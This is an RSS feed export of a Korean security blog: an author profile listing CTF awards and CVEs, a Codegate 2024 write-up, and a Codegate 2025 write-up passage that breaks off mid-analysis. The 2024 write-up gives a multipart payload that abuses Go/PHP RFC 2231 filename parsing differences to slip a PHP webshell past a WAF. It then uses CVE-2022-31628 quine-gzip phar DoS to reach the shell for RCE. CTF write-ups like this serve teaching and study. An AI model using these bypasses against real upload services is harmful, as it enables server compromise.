<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>i love cat</title>
    <link>https://as3617.tistory.com/</link>
    <description>i love cat.. :D</description>
    <language>ko</language>
    <pubDate>Sun, 10 May 2026 21:21:34 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>as3617</managingEditor>
    <image>
      <title>i love cat</title>
      <url>https://tistory1.daumcdn.net/tistory/3303539/attach/e7d32d6f9dba4612a28415d82dbf9319</url>
      <link>https://as3617.tistory.com</link>
    </image>
    <item>
      <title>about</title>
      <link>https://as3617.tistory.com/65</link>
      <description>&lt;h1&gt;&lt;b&gt;Profile&lt;/b&gt;&lt;/h1&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;Name&lt;/b&gt; : 오승주 (as3617)&lt;/h4&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;Education&lt;/b&gt; :&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;KAIST (Undergraduated) - 2023.02 ~&lt;/li&gt;
&lt;li&gt;Korea Digital Media High School (Graduated) - 2019.03 ~ 2022.02&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;Team&lt;/b&gt; : Defenit / CodeRed / Super Guesser&lt;/h4&gt;
&lt;h1&gt;&lt;b&gt;Awards&lt;/b&gt;&lt;/h1&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;2019&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;2019, Hacking Championship Junior Quals 1st&lt;/li&gt;
&lt;li&gt;2019, Cyberoc Quals 4rd&lt;/li&gt;
&lt;li&gt;2019, Hacking Championship Junior FInals 4th&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;2020&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;2020, Cyberoc Quals 3rd&lt;/li&gt;
&lt;li&gt;2020, Cyberoc Finals 3rd&lt;/li&gt;
&lt;li&gt;2020, HackTM Finals 2nd (Team ROK YoungBloods)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;2021&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;2021, Just CTF 1st (Team Alpray)&lt;/li&gt;
&lt;li&gt;2021, Defcon CTF Quals 16th (Team uuunderflow)&lt;/li&gt;
&lt;li&gt;2021, Defcon CTF 2021 Finals 6th (Team Perfect Guesser)&lt;/li&gt;
&lt;li&gt;2021, Pwn2Win CTF 2nd (Team uuunderflow)&lt;/li&gt;
&lt;li&gt;2021, FAUST CTF 2021 4th (Team P-U-G)&lt;/li&gt;
&lt;li&gt;2021, Hack.lu CTF 2nd (Team Super Guesser)&lt;/li&gt;
&lt;li&gt;2021, HKCERT CTF 2021 3rd (Team Super Guesser)&lt;/li&gt;
&lt;li&gt;2021, N1CTF 2021 1st (Team Super Guesser)&lt;/li&gt;
&lt;li&gt;2021, Dragon CTF 2021 5th (Team Super Guesser)&lt;/li&gt;
&lt;li&gt;2021, HITCON CTF 2021 6th (Team Super Guesser)&lt;/li&gt;
&lt;li&gt;2021, SECCON CTF 2021 1st (Team Super Guesser)&lt;/li&gt;
&lt;li&gt;2021, hxp CTF 2021 3rd (Team Super Guesser)&lt;/li&gt;
&lt;li&gt;2021, ASIS CTF Finals 2021 4th (Team Super Guesser)&lt;/li&gt;
&lt;li&gt;2021, ISITDTU CTF 2021 Finals 4th (Team Do you know BTS)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;2022&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;2022, Real World CTF 9th (Team .gz)&lt;/li&gt;
&lt;li&gt;2022, Dice CTF 2022 4th (Team Super Guesser)&lt;/li&gt;
&lt;li&gt;2022, Hayyim CTF 2022 3rd (Team 초코하임팬클럽)&lt;/li&gt;
&lt;li&gt;2022, 1337UP LIVE CTF 3rd (Team Alpray)&lt;/li&gt;
&lt;li&gt;2022, zer0pts CTF 2022 2nd (Team Super HexaGoN)&lt;/li&gt;
&lt;li&gt;2022, LINE CTF 2022 3rd (Team donkey)&lt;/li&gt;
&lt;li&gt;2022, *CTF 2022 3rd (Team DiceGuesser)&lt;/li&gt;
&lt;li&gt;2022, DEFCON 30 CTF Finalist (Team DiceGuesser)&lt;/li&gt;
&lt;li&gt;2022, Security Fest 2022 2nd (Team Super Guesser)&lt;/li&gt;
&lt;li&gt;2022, justCTF 2022 4th (Team Super Guesser)&lt;/li&gt;
&lt;li&gt;2022, SECCON CTF 2022 Quals 5th (Team Super Guesser)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;2023&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;2023, LINE CTF 2023 3rd (Team Super Guesser)&lt;/li&gt;
&lt;li&gt;2023, Security Fest 2023 1st (Team Super Guesser)&lt;/li&gt;
&lt;li&gt;2023, DEFCON 31 CTF Quals 12th (Team Hypeboy)&lt;/li&gt;
&lt;li&gt;2023, DEFCON 31 CTF Finals 4th (Team Hypeboy)&lt;/li&gt;
&lt;li&gt;2023, HITCON CTF 2023 Quals 4th (Team Super Guesser)&lt;/li&gt;
&lt;li&gt;2023, SECCON CTF 2023 Quals 5th (Team HK Guesser)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;2024&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;2024, Plaid CTF 2024 1st (Team Hypeboy)&lt;/li&gt;
&lt;li&gt;2024, DEFCON 32 CTF Finals 8th (Team Hypeboy)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;2025&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;2025, Kaspersky{CTF} 1st (Team Odin)&lt;/li&gt;
&lt;li&gt;2025, LINE CTF 2025 3rd (Team Odin)&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;&lt;b&gt;Organized&lt;/b&gt;&lt;/h1&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;2020, TRUST CTF&lt;/li&gt;
&lt;li&gt;2021, TRUST CTF&lt;/li&gt;
&lt;li&gt;2022, WaCON 2022&lt;/li&gt;
&lt;li&gt;2022, FIESTA 2022&lt;/li&gt;
&lt;li&gt;2022, Cyber Conflict Exercise 2022 - aka 사이버공격방어대회&lt;/li&gt;
&lt;li&gt;2023, Cyber Conflict Exercise 2023 - aka 사이버공격방어대회&lt;/li&gt;
&lt;li&gt;2023, Codegate CTF 2023&lt;/li&gt;
&lt;li&gt;2023, FIESTA 2023&lt;/li&gt;
&lt;li&gt;2023, WaCON 2023&lt;/li&gt;
&lt;li&gt;2024, Codegate CTF 2024&lt;/li&gt;
&lt;li&gt;2024, Cyber Conflict Exercise 2024 - aka 사이버공격방어대회&lt;/li&gt;
&lt;li&gt;2025, Codegate CTF 2025&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;&lt;b&gt;CVE&lt;/b&gt;&lt;/h1&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;CVE-2022-25108 (&lt;code&gt;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-25108&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;CVE-2022-1498 (&lt;code&gt;https://chromereleases.googleblog.com/2022/04/stable-channel-update-for-desktop_26.html&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;CVE-2022-37376 | ZDI-CAN-16599 (&lt;code&gt;https://www.foxit.com/support/security-bulletins.html&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;CVE-2022-32891 (&lt;code&gt;https://support.apple.com/ko-kr/HT213442&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;CVE-2022-31628 (&lt;code&gt;https://bugs.php.net/bug.php?id=81726&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;CVE-2024-28117 (&lt;code&gt;https://github.com/getgrav/grav/security/advisories/GHSA-qfv4-q44r-g7rv&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;CVE-2024-28118 (&lt;code&gt;https://github.com/getgrav/grav/security/advisories/GHSA-r6vw-8v8r-pmp4&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;CVE-2024-28119 (&lt;code&gt;https://github.com/getgrav/grav/security/advisories/GHSA-2m7x-c7px-hp58&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Contact&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;email - &lt;a href=&quot;mailto:ohseungju5@gmail.com&quot;&gt;ohseungju5@gmail.com&lt;/a&gt;&lt;br /&gt;twitter - &lt;a href=&quot;https://twitter.com/real_as3617&quot;&gt;twitter&lt;/a&gt;&lt;/p&gt;</description>
      <category>aboutme</category>
      <author>as3617</author>
      <guid isPermaLink="true">https://as3617.tistory.com/65</guid>
      <comments>https://as3617.tistory.com/65#entry65comment</comments>
      <pubDate>Mon, 1 Sep 2025 09:52:27 +0900</pubDate>
    </item>
    <item>
      <title>Codegate 2024 quals - Cha's Wall writeup</title>
      <link>https://as3617.tistory.com/83</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;go multipart parser와 php의 multipart parser의 서로 다른 구현을 악용하여 waf를 우회, 이후 CVE-2022-31628를 이용하여 dos를 발생시켜 웹쉘을 업로드하고&lt;br /&gt;RCE를 하면 되는 문제이다.&lt;/p&gt;
&lt;pre class=&quot;coq&quot;&gt;&lt;code&gt;if r.Method == &quot;POST&quot; {
      mr, err := r.MultipartReader()
      if err != nil {
          r.Body.Close()
          fmt.Println(&quot;Http request is corrupted.&quot;)
          return
      } else {
          var b bytes.Buffer
          w := multipart.NewWriter(&amp;amp;b)
          reuseBody := true

          for {
              part, err := mr.NextPart()
              if err == io.EOF {
                  break
              }
              if err != nil {
                  r.Body.Close()
                  wr.Write([]byte(&quot;something wrong :(&quot;))
                  return
              }
              if part.FileName() != &quot;&quot; {
                  re := regexp.MustCompile(`[^a-zA-Z0-9\.]+`)
                  cleanFilename := re.ReplaceAllString(part.FileName(), &quot;&quot;)
                  match, _ := regexp.MatchString(`\.(php|php2|php3|php4|php5|php6|php7|phps|pht|phtm|phtml|pgif|shtml|htaccess|inc|hphp|ctp|module|phar)$`, cleanFilename)
                  if match {
                      r.Body.Close()
                      wr.Write([]byte(&quot;WAF XD&quot;))
                      return
                  }
                  partBuffer, _ := ioutil.ReadAll(part);
                  if strings.Contains(string(partBuffer), &quot;&amp;lt;?php&quot;) {
                      r.Body.Close()
                      wr.Write([]byte(&quot;WAF XD&quot;))
                      return
                  }
              } else {
                  fieldName := part.FormName()
                  fieldValue, _ := ioutil.ReadAll(part)
                  _ = w.WriteField(fieldName, string(fieldValue))
                  reuseBody = false
              }
          }

          if !reuseBody {
              w.Close()
              rdr2 = ioutil.NopCloser(&amp;amp;b)
              r.Header.Set(&quot;Content-Type&quot;, w.FormDataContentType())
          }
      }
  }  &lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;part.FileName() 값은 업로드되는 파일명을 반환하는 메소드이다.&lt;br /&gt;빈 값이 아닌 경우, filename에서 [a-zA-Z0-9.]을 제외한 다른 문자들을 제거한 뒤 정규식으로 위험한 확장자가 포함되어있는지 검증하고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일반적인 경우 이는 우회할 수 없지만, PHP와 go의 multipart data에 대한 처리 로직이 다른 것을 이용하여 우회하는 것이 가능하다.&lt;/p&gt;
&lt;pre class=&quot;stylus&quot;&gt;&lt;code&gt;func (p *Part) FileName() string {
    if p.dispositionParams == nil {
        p.parseContentDisposition()
    }
    filename := p.dispositionParams[&quot;filename&quot;]
    if filename == &quot;&quot; {
        return &quot;&quot;
    }
    // RFC 7578, Section 4.2 requires that if a filename is provided, the
    // directory path information must not be used.
    return filepath.Base(filename)
}

func (p *Part) parseContentDisposition() {
    v := p.Header.Get(&quot;Content-Disposition&quot;)
    var err error
    p.disposition, p.dispositionParams, err = mime.ParseMediaType(v)
    if err != nil {
        p.dispositionParams = emptyParams
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;part.FileName을 호출하면 go는 내부적으로 parseContentDisposition 함수를 호출하여 filename을 파싱한다.&lt;br /&gt;이때 parseContentDisposition에선 mime.ParseMediaType을 호출하는데 이 함수가 실질적으로 multipart data section을 처리하는 부분이다.&lt;/p&gt;
&lt;pre class=&quot;go&quot;&gt;&lt;code&gt;// https://github.com/golang/go/blob/master/src/mime/mediatype.go#L139
func ParseMediaType(v string) (mediatype string, params map[string]string, err error) {
    base, _, _ := strings.Cut(v, &quot;;&quot;)
    mediatype = strings.TrimSpace(strings.ToLower(base))

    err = checkMediaTypeDisposition(mediatype)
    if err != nil {
        return &quot;&quot;, nil, err
    }

    params = make(map[string]string)

    // Map of base parameter name -&amp;gt; parameter name -&amp;gt; value
    // for parameters containing a '*' character.
    // Lazily initialized.
    var continuation map[string]map[string]string

    v = v[len(base):]
    for len(v) &amp;gt; 0 {
        v = strings.TrimLeftFunc(v, unicode.IsSpace)
        if len(v) == 0 {
            break
        }
        key, value, rest := consumeMediaParam(v)
        if key == &quot;&quot; {
            if strings.TrimSpace(rest) == &quot;;&quot; {
                // Ignore trailing semicolons.
                // Not an error.
                break
            }
            // Parse error.
            return mediatype, nil, ErrInvalidMediaParameter
        }

        pmap := params
        if baseName, _, ok := strings.Cut(key, &quot;*&quot;); ok {
            if continuation == nil {
                continuation = make(map[string]map[string]string)
            }
            var ok bool
            if pmap, ok = continuation[baseName]; !ok {
                continuation[baseName] = make(map[string]string)
                pmap = continuation[baseName]
            }
        }
        if v, exists := pmap[key]; exists &amp;amp;&amp;amp; v != value {
            // Duplicate parameter names are incorrect, but we allow them if they are equal.
            return &quot;&quot;, nil, errors.New(&quot;mime: duplicate parameter name&quot;)
        }
        pmap[key] = value
        v = rest
    }
...&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우선 go는 파라미터를 파싱할 때 같은 key에 대해 다른 값이 여러 개 들어온다면 에러를 발생시킨다.&lt;br /&gt;에러가 발생하면 해당 변수는 빈 값으로 설정되기 때문에&lt;br /&gt;이중 파라미터와 같은 고전적인 우회 방법은 사용할 수 없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 코드를 잘 읽어보면&lt;/p&gt;
&lt;pre class=&quot;go&quot;&gt;&lt;code&gt;        if baseName, _, ok := strings.Cut(key, &quot;*&quot;); ok {
            if continuation == nil {
                continuation = make(map[string]map[string]string)
            }
            var ok bool
            if pmap, ok = continuation[baseName]; !ok {
                continuation[baseName] = make(map[string]string)
                pmap = continuation[baseName]
            }
        }
...
for key, pieceMap := range continuation {
        singlePartKey := key + &quot;*&quot;
        if v, ok := pieceMap[singlePartKey]; ok {
            if decv, ok := decode2231Enc(v); ok {
                params[key] = decv
            }
            continue
        }

        buf.Reset()
        valid := false
...&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;key에 *가 포함된 경우 continuation 변수에 해당 Key와 value를 저장한 후 아래에서 이를 기반으로 decode2231Enc 함수를 호출한다.&lt;br /&gt;그러나 이땐 파라미터 중복 여부를 확인하지 않는다.&lt;br /&gt;즉, 이 부분을 활용하면 php에선 rfc 2231을 지원하지 않으므로 go와 php에서 인식하는 파일명을 다르게 할 수 있다.&lt;/p&gt;
&lt;pre class=&quot;pgsql&quot;&gt;&lt;code&gt;------WebKitFormBoundaryUUIxMBvMMAgZLeFi
Content-Disposition: form-data; name=&quot;file&quot;; filename=&quot;exploit.php&quot; filename*=utf-8''exampe.txt
Content-Type: application/x-gzip

dummydata
------WebKitFormBoundaryUUIxMBvMMAgZLeFi--&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;rfc 스펙과 go의 처리 코드를 기반으로 페이로드를 구성하면 위와 같다.&lt;br /&gt;해당 데이터를 서버로 전송할 시 waf를 우회하여 php를 확장자로 가진 파일을 업로드할 수 있다.&lt;/p&gt;
&lt;pre class=&quot;xml&quot;&gt;&lt;code&gt;&amp;lt;?php
    require_once(&quot;./config.php&quot;);
    session_start();

    if (!isset($_SESSION['dir'])) {
        $_SESSION['dir'] = random_bytes(4);
    }

    $SANDBOX = getcwd() . &quot;/uploads/&quot; . md5(&quot;supers@f3salt!!!!@#$&quot; . $_SESSION['dir']);
    if (!file_exists($SANDBOX)) {
        mkdir($SANDBOX);
    }

    echo &quot;Here is your current directory : &quot; . $SANDBOX . &quot;&amp;lt;br&amp;gt;&quot;;

    if (is_uploaded_file($_FILES['file']['tmp_name'])) {
        $filename = basename($_FILES['file']['name']);
        if (move_uploaded_file( $_FILES['file']['tmp_name'], &quot;$SANDBOX/&quot; . $filename)) {
            echo &quot;&amp;lt;script&amp;gt;alert('File upload success!');&amp;lt;/script&amp;gt;&quot;;
        }
    }
    if (isset($_GET['path'])) {
        if (file_exists($_GET['path'])) {
            echo &quot;file exists&amp;lt;br&amp;gt;&amp;lt;code&amp;gt;&quot;;
            if ($_SESSION['admin'] == 1 &amp;amp;&amp;amp; $_GET['passcode'] === SECRET_CODE) {
                include($_GET['path']);
            }
            echo &quot;&amp;lt;/code&amp;gt;&quot;;
        } else {
            echo &quot;file doesn't exist&quot;;
        }
    }
    if (isset($filename)) {
        unlink(&quot;$SANDBOX/&quot; . $filename);
    }
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;코드는 위와 같이 작성되어있다.&lt;br /&gt;파일을 업로드하면 랜덤한 임의의 디렉토리에 파일을 업로드한다. 이후 path로 전달된 파일 경로에 대해서 file_exists함수가 true를 리턴하면&lt;br /&gt;세션의 admin값과 &lt;code&gt;$_GET['passcode']&lt;/code&gt;를 체크하고 include해주며 코드의 마지막에서 unlink함수를 통해 업로드한 파일을 삭제한다.&lt;br /&gt;여기서 include 부분은 그냥 낚시용이니깐 무시해야한다. 저 부분은 사용이 불가능하다.&lt;br /&gt;그럼 우리가 할 수 있는건 unlink되기 전 웹쉘에 접근하거나 unlink 코드가 실행되지 않도록 하는 것이다.&lt;br /&gt;여기선 여러 방식으로 사용하면 되며 출제할 땐 아래의 방법을 썼다.&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;FROM php:7.4.30-apache-bullseye&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://pentest-tools.com/vulnerabilities-exploits/php-7431-80x-8024-81x-8111-security-update-windows_13209&quot;&gt;https://pentest-tools.com/vulnerabilities-exploits/php-7431-80x-8024-81x-8111-security-update-windows_13209&lt;/a&gt;&lt;br /&gt;php 버전이 7.4.30인데 해당 버전엔 여러 CVE가 존재한다.&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;CVE-2022-31628: The phar uncompressor code would recursively uncompress quines gzip files, resulting in an infinite loop.&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;quine gzip을 이용하면 무한 반복을 통해 dos를 유발시킬 수 있다고 한다.&lt;br /&gt;&lt;a href=&quot;https://bugs.php.net/bug.php?id=81726&quot;&gt;https://bugs.php.net/bug.php?id=81726&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://github.com/nodejs/security-wg/assets/46442697/9b98ab2b-9931-48c3-ac96-36b720368301&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;file_exists에서도 phar wrapper를 사용하는 것이 가능하기 때문에 이를 이용하면 dos를 발생시켜 unlink되기 전 웹쉘에 접근하는 것이 가능해진다.&lt;br /&gt;이때 php의 gz decompress 로직은 dummy data가 있어도 에러를 발생시키지 않기 때문에&lt;br /&gt;quine gzip 파일을 다운로드한 후 맨 뒤에 webshell 데이터를 삽입하여 업로드해주면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이외에는 file_exists 함수가 실행되는 부분에서 사용가능한 scheme들을 통해 PHP 코드가 종료되지 않도록 하면 된다. (http, ftp 등등..)&lt;/p&gt;
&lt;h1&gt;플래그&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;codegate2024{caaff9a2603c3225626f1569a0d371d7d2c354177f48bd303aa9a5297f40d55b}&lt;/p&gt;</description>
      <category>web hacking</category>
      <author>as3617</author>
      <guid isPermaLink="true">https://as3617.tistory.com/83</guid>
      <comments>https://as3617.tistory.com/83#entry83comment</comments>
      <pubDate>Mon, 1 Sep 2025 09:50:29 +0900</pubDate>
    </item>
    <item>
      <title>Codegate 2025 quals - Cha's point writeup</title>
      <link>https://as3617.tistory.com/82</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;markdown을 이용한 ppt 제작 기능을 지원하는 서비스다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;주어진 파일의 app.js에서 Global filter, routing을 확인할 수 있다.&lt;/p&gt;
&lt;pre class=&quot;stata&quot;&gt;&lt;code&gt;app.use((req, res, next) =&amp;gt; {
    if (req.session.userid || req.path.startsWith(&quot;/auth/&quot;)) return next();
    return res.redirect(&quot;/auth/login&quot;);
});

app.use((req, res, next) =&amp;gt; {
    if (req.method === &quot;POST&quot;) {
        for (const key in req.body) {
            if (req.body[key] &amp;amp;&amp;amp; typeof req.body[key] !== &quot;string&quot;) {
                return res.status(401).send(&quot;Invalid Data&quot;);
            }
            if (FILTER.exec(req.body[key])) { // FILTER : /\'|`|\.\.|\.\/|#|%|&amp;amp;|\?|&amp;lt;|&amp;gt;|\(|\)|script|onerror|src|\n/i;
                req.body[key] = encode(req.body[key], { mode: &quot;extensive&quot; });
            }
        }
    }
    next();
});

app.use(&quot;/auth&quot;, auth);
app.use([&quot;/view&quot;, &quot;/_assets&quot;, &quot;/css/highlight&quot;], view);
app.use(edit);&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;POST data에 대해 정규식에 해당되는 값이 포함되어있으면 html-entities 라이브러리를 이용하여 html entity 형태로 인코딩하는 필터가 존재하며&lt;br /&gt;그 외엔 &lt;code&gt;/auth&lt;/code&gt;, &lt;code&gt;/view&lt;/code&gt;, &lt;code&gt;/_assets&lt;/code&gt;, &lt;code&gt;/css/highlight&lt;/code&gt;, &lt;code&gt;/edit/*&lt;/code&gt; 등 요청에 대해 각각 &lt;code&gt;routes/auth.js&lt;/code&gt;, &lt;code&gt;routes/view.js&lt;/code&gt;, &lt;code&gt;routes/edit.js&lt;/code&gt;로 매핑하고 있다.&lt;/p&gt;
&lt;pre class=&quot;kotlin&quot;&gt;&lt;code&gt;router.get(&quot;/render&quot;, async (req, res) =&amp;gt; {
    try {
        const userId = req.session.userid;
        const configPath = path.join(UPLOAD_DIR, userId, &quot;config&quot;, &quot;config.md&quot;);

        if (!fs.existsSync(configPath)) {
            return res.redirect(&quot;/&quot;);
        }

        const slidePath = path.join(UPLOAD_DIR, userId, &quot;slide&quot;, &quot;default.md&quot;);
        const useTemplate = !fs.existsSync(slidePath);

        const configData = fs.readFileSync(configPath, &quot;utf8&quot;).toString();
        let data = configData;
        if (useTemplate) {
            data += default_template;
        } else {
            data += fs.readFileSync(slidePath, &quot;utf8&quot;).toString();
        }

        const { render } = await getRevealMd();
        const rendered = await render(data);
        return res.send(rendered);
    } catch {
        return res.status(500).send(&quot;Error&quot;);
    }
})&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위의 함수는 &lt;code&gt;routes/view.js&lt;/code&gt;에 정의된 함수로 &lt;code&gt;/view/render&lt;/code&gt; 로 접근할 시 실행된다.&lt;br /&gt;해당 함수에선 session에 정의된 userid 값을 값을 바탕으로 &lt;code&gt;config.md&lt;/code&gt;, &lt;code&gt;default.md&lt;/code&gt; 파일의 데이터를 읽어온 다음 &lt;code&gt;revealMd&lt;/code&gt; 라이브러리의 render 함수를 이용하여 해당 데이터를 변환, 사용자에게 전달하고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 문제는 RCE를 획득하는 것이 목표이기 때문에 &lt;code&gt;revealMD&lt;/code&gt; 라이브러리에서 취약점을 찾아 공격해야한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/webpro/reveal-md/blob/main/lib/render.js&quot;&gt;reveal-md&lt;/a&gt;&lt;/p&gt;
&lt;pre class=&quot;javascript&quot;&gt;&lt;code&gt;export const render = async (fullMarkdown, extraOptions = {}) =&amp;gt; {
  const { yamlOptions, markdown: contentOnlyMarkdown } = parseYamlFrontMatter(fullMarkdown);
  const options = Object.assign(getSlideOptions(yamlOptions), extraOptions);

  const { title } = options;
  const themeUrl = getThemeUrl(options.theme, options.assetsDir, options.base);
  const highlightThemeUrl = getHighlightThemeUrl(options.highlightTheme);
  const scriptPaths = getScriptPaths(options.scripts, options.assetsDir, options.base);
  const cssPaths = getCssPaths(options.css, options.assetsDir, options.base);

  const revealOptions = Object.assign({}, getRevealOptions(options.revealOptions), yamlOptions.revealOptions);

  const slidifyOptions = _.pick(options, Object.keys(slidifyAttributeNames));
  let slidifyAttributes = [];
  for (const [key, value] of Object.entries(slidifyOptions)) {
    const escaped_value = value.replace(/\n/g, '\\n').replace(/\r/g, '\\r');
    slidifyAttributes.push(`${slidifyAttributeNames[key]}=&quot;${escaped_value}&quot;`);
  }

  const preprocessorFn = await getPreprocessor(options.preprocessor);
  const processedMarkdown = await preprocessorFn(contentOnlyMarkdown, options);

  const revealOptionsStr = JSON.stringify(revealOptions);
  const mermaidOptionsStr = options.mermaid === false ? undefined : JSON.stringify(options.mermaid);

  const template = await getTemplate(options.template);
  const context = Object.assign(options, {
    title,
    slidifyAttributes: slidifyAttributes.join(' '),
    markdown: processedMarkdown,
    themeUrl,
    highlightThemeUrl,
    scriptPaths,
    cssPaths,
    revealOptionsStr,
    mermaidOptionsStr,
    watch: getWatch()
  });
  const markup = Mustache.render(template, context);

  return markup;
};&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위의 코드는 reveal-md 라이브러리에 정의된 render 함수로 인자로 markdown 데이터, option 데이터를 받아 처리한 다음, Mustache template을 이용하여 데이터를 변환한다.&lt;br /&gt;이때 &lt;code&gt;parseYamlFrontMatter&lt;/code&gt; 함수를 이용하여 markdown 데이터에서 yaml 관련 옵션을 추출하는 것을 알 수 있는데 해당 함수는 다음과 같다.&lt;/p&gt;
&lt;pre class=&quot;javascript&quot;&gt;&lt;code&gt;export const parseYamlFrontMatter = content =&amp;gt; {
  const document = yamlFrontMatter.loadFront(content.replace(/^\uFEFF/, ''));
  return {
    yamlOptions: _.omit(document, '__content'),
    markdown: document.__content || content
  };
};&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;parseYamlFrontMatter&lt;/code&gt;함수는 데이터를 다시 &lt;code&gt;yamlFrontMatter&lt;/code&gt; 라이브러리의 loadFront 함수에 전달하여 yaml 데이터를 파싱한다.&lt;br /&gt;reveal-md에서 사용하는 &lt;code&gt;js-yaml-fromt-matter&lt;/code&gt; 라이브러리의 버전은 4.1.1로 정의된 loadFront 함수는 코드는 다음과 같다.&lt;/p&gt;
&lt;pre class=&quot;javascript&quot;&gt;&lt;code&gt;var jsYaml = require('js-yaml');

function parse(text, options, loadSafe) {
    let contentKeyName = options &amp;amp;&amp;amp; typeof options === 'string'
        ? options
        : options &amp;amp;&amp;amp; options.contentKeyName 
            ? options.contentKeyName 
            : '__content';

    let passThroughOptions = options &amp;amp;&amp;amp; typeof options === 'object'
        ? options
        : undefined;

    let re = /^(-{3}(?:\n|\r)([\w\W]+?)(?:\n|\r)-{3})?([\w\W]*)*/
        , results = re.exec(text)
        , conf = {}
        , yamlOrJson;

    if ((yamlOrJson = results[2])) {
        if (yamlOrJson.charAt(0) === '{') {
            conf = JSON.parse(yamlOrJson);
        } else {
            if(loadSafe) {
                conf = jsYaml.safeLoad(yamlOrJson, passThroughOptions);
            } else {
                conf = jsYaml.load(yamlOrJson, passThroughOptions); 
            }
        }
    }

    conf[contentKeyName] = results[3] || '';

    return conf;
};

export function loadFront (content, options) {
    return parse(content, options, false);
};

export function safeLoadFront (content, options) {
    return parse(content, options, true)
}&lt;/code&gt;&lt;/pre&gt;
